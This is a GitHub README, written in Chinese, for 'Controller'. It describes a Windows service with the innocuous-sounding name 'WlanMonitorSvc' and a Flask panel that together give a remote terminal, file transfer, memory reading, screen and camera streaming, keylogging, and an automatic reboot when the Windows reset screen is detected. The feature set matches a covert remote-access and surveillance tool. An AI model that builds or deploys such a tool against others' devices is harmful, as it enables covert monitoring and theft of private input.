Skip to content

Latest commit

 

History

28 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Controller

License: MIT Client: C++20 Server: Flask Platform: Windows

Controller 是一个自用的远程设备管理项目,由 Windows 客户端服务 WlanMonitorSvc、更新器和 Flask 管理端组成。管理端负责设备在线状态、命令队列、文件传输、日志、屏幕/摄像头画面、进程/内存查看和媒体控制;Windows 客户端以服务方式运行并定期向服务端上报状态、拉取命令。

功能概览

  • 设备总览:显示设备名、网络、版本、前台 Focus、在线状态和快捷操作。
  • 远程终端:向指定设备或批量设备发送命令,并查看执行结果。
  • 文件管理:浏览远端目录、上传/下载文件、创建目录、删除/重命名文件。
  • 任务与内存:查看进程、任务信息、内存映射和大块内存读取结果。
  • 屏幕与摄像头:按需开启屏幕流或摄像头流,并支持 FPS 调整。
  • 日志与按键记录:查看客户端日志和受控端上报的键盘输入状态。
  • 媒体控制:播放/暂停、上一首/下一首、音量、显示器弹跳等媒体相关操作。
  • 更新管理:上传 WlanMonitorSvc.exe 和更新器,服务端根据 EXE 内构建标记发布 stable/test 通道。
  • 稳定性保护:服务启动失败自动重试、服务恢复策略、显示器弹跳命令去重、Focus 中文 UTF-8 传输修正。

项目结构

Controller/
├── PowerOFF/                 # Windows 客户端服务 WlanMonitorSvc 源码与 VS 工程
│   ├── PowerOFF.cpp
│   ├── PowerOFF.vcxproj
│   ├── PromptVersion.ps1     # 编译前版本/通道提示脚本
│   └── Decrypt.py            # 本地加密日志辅助解密脚本
├── Updater/                  # 客户端热更新辅助程序
│   ├── Updater.cpp
│   └── Updater.vcxproj
├── Server/                   # Flask 管理端
│   ├── app.py                # 入口,注册所有 Blueprint
│   ├── core.py               # 共享状态、缓存清理、加解密等基础逻辑
│   ├── bp_main.py            # 首页、设备上报、版本管理
│   ├── bp_file.py            # 文件管理
│   ├── bp_terminal.py        # 命令下发与结果读取
│   ├── bp_taskmgr.py         # 任务管理
│   ├── bp_memory.py          # 内存查看
│   ├── bp_screen.py          # 屏幕流
│   ├── bp_camera.py          # 摄像头流
│   ├── bp_log.py             # 日志查看
│   ├── bp_keylog.py          # 按键记录查看
│   ├── bp_entertainment.py   # 媒体控制
│   └── systemd_example.service
├── PowerOFF.slnx             # Visual Studio 解决方案
├── LICENSE.txt
└── README.md

环境要求

Windows 客户端/更新器

  • Windows 10/11 或 Windows Server。
  • Visual Studio 2026/Build Tools,包含 MSVC、Windows SDK 和 MSBuild。
  • 项目使用 C++20,工程默认输出名为 WlanMonitorSvc.exe

Flask 服务端

  • Python 3.9+。
  • Flask。
  • 推荐部署在反向代理或隧道后,并保持 /update/*/report/cmd_result 等接口可被客户端访问。

构建客户端

在仓库根目录执行:

$env:WLANMONITOR_SKIP_VERSION_PROMPT='1'
& "C:\Program Files\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\MSBuild.exe" `
  PowerOFF\PowerOFF.vcxproj `
  /p:Configuration=Release `
  /p:Platform=x64 `
  /m

输出文件:

PowerOFF\x64\Release\WlanMonitorSvc.exe

构建前请确认 PowerOFF/PowerOFF.cpp 顶部的版本号和通道标记:

#define MANUAL_COMPILE_VERSION "x.y.z"
#define MANUAL_BUILD_CHANNEL "stable"

如需构建更新器:

& "C:\Program Files\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\MSBuild.exe" `
  Updater\Updater.vcxproj `
  /p:Configuration=Release `
  /p:Platform=x64 `
  /m

启动服务端

cd Server
python -m pip install flask
python app.py

默认监听:

http://0.0.0.0:5000

登录入口:

/login

Linux/systemd 部署时可参考:

Server/systemd_example.service

常用页面

页面 用途
/ 设备列表、版本发布、批量操作
/terminal/<mac> 单设备命令终端
/files/<mac> 文件管理
/taskmgr/<mac> 任务管理器
/memory/<mac> 内存查看器
/screen/<mac> 屏幕画面
/camera/<mac> 摄像头画面
/view_log/<mac> 日志查看
/keylog/<mac> 按键记录
/entertainment/<mac> 媒体控制

更新发布流程

  1. 修改 MANUAL_COMPILE_VERSIONMANUAL_BUILD_CHANNEL
  2. 构建 Release x64 客户端。
  3. 打开服务端首页,在 Client Update 上传:
    • WlanMonitorSvc.exe
    • 可选:WlanMonitorSvc.updater.exe
  4. 服务端读取 EXE 内的构建标记,并发布到对应 stable/test 通道。
  5. 客户端心跳检测到新版本后自动下载更新。

运维与故障排查

客户端服务

  • 服务名:WlanMonitorSvc
  • 客户端会定期向服务端 /report 上报在线状态、网络、版本、前台窗口 Focus、音量和功能开关状态。
  • 服务安装后会配置 Windows 服务恢复策略;服务启动失败时会自动重试,降低临时网络或系统服务异常导致的掉线概率。
  • 日志默认保存在程序目录下的加密日志文件中,可使用 PowerOFF/Decrypt.py 辅助读取。

文件上传/下载

  • 网页端文件管理页位于 /files/<mac>
  • 服务端上传缓存和受控端下载路径分离;如果目标目录没有出现文件,先检查页面命令日志中的 F_CMD:DOWN 返回值。
  • 服务端允许较大的请求体,Server/app.pyMAX_CONTENT_LENGTH 当前设置为 2GB,适合上传较大的课件和表格文件。

Memory Viewer

  • 内存页位于 /memory/<mac>
  • 大进程读取时优先使用分块/流式结果,避免单次请求超时。
  • 如果页面长时间显示 Loading,建议先刷新进程列表,再重新加载目标 PID 的内存映射。

Focus 中文显示

  • 客户端采集前台窗口标题时使用 Windows 宽字符 API。
  • 上报前会检测状态文本是否已经是 UTF-8,避免中文窗口标题被二次转码造成乱码。
  • 如果仍看到乱码,优先确认受控端是否已经更新到包含该修复的版本。

媒体与显示器控制

  • 媒体页位于 /entertainment/<mac>
  • 显示器弹跳功能会在服务端队列中去重;网页端关闭后会清理旧的开关命令,避免受控端继续反复开关显示器。
  • 如需排查残留命令,可检查终端页 /terminal/<mac> 的命令发送记录。

维护记录

2026-07-10

  • 补充 README 的运维与故障排查说明。
  • 明确客户端服务、文件传输、内存查看、Focus 中文显示和媒体控制的排查入口。

本次变更记录

  • 修复 Focus 上报中文窗口标题时的 UTF-8 二次转码乱码。
  • 增加 Windows 重置/恢复界面检测,检测到后触发重启。
  • 增强 Windows 服务恢复配置和启动失败自动重试。
  • 优化媒体显示器弹跳命令队列,网页端取消后不再残留旧命令。
  • 优化终端命令队列中显示器开关相关命令的优先级和去重。

参考资料

许可证

本项目采用 MIT License

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages